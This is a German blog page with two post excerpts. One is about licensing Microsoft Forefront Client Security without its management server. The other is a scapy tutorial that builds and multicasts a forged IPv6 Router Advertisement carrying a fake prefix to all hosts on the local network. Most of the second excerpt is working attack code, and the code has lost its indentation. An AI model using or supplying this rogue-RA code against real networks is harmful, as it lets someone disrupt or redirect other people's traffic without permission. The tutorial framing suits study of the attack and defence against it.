Baudotcode Blog

Gerade für kleine Unternehmen ist es interessant Microsofts Malware Schutz Forefront Client Security (FCS) ohne den Forefront Management Server installieren und betreiben zu können. Updates der Software und die neusten Virensignaturen werden dann über den Windows Update Dienst bezogen.

Da bei dieser Lizenzierung die FCS Management Console sowie der Microsoft Operation Manager nicht mit inbegriffen ist, ist eine zentrale Konfiguration und Verwaltung selbstverständlich nicht möglich. Das hat zur Folge das jeder Client per Hand konfiguriert werden muss. Auch die praktische Alert- und Notification-Infrastruktur, sowie das Reporting fällt weg. Genauere Informationen zu diesem Lizenzmodel lassen sich im Partnerportal von Microsoft finden.

»Read More

Das Prinzip ist sehr trivial, es werden IPv6 Router Advertisements(RA) in ein Netz geschickt.
Da RA Pakete Broad bzw bei IPv6 Multicasting Pakete sind wird also jeder Rechner der dieses Paket empfängt es verarbeiten.
Da setzen wir also an.
Also rein in die Konsole und scapy gestartet.
Wir erstellen ein, jetzt folgen ein paar Definitionen an

#Layer, Protokoll sowie das der Pakettyp wird angegeben.
a = IPv6()
a.dst = "ff02::1"
#ICMPv6 Router Advertisement festlegen
b = ICMPv6ND_RA()
#Hier greift ihr euch die HwAddrese(MAC) des jeweiligen Interfaces,
#in meinem Fall eth1, (sollte natürlich angepasst werden) und legt sie fest.
#Die Methode getMac ist eigentlich für ein eigenes Script gedacht
#man kann die Adresse natürlich auch per Hand definieren.
#Dazu einfach  c.lladdr = <MAC-Adresse hier einfügen>
def getMac(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927,  struct.pack('256s', ifname[:15]))
return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = getMac('eth1')
#MTU sollte 1280 betragen
d = ICMPv6NDOptMTU()
d.show()
#Den IPv6 Prefix festlegen und seine länge festlegen
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "cc5f::"
#Und das Paket abschicken
send(a/b/c/d/e)
#Thx for the idea to http://samsclass.info

»Read More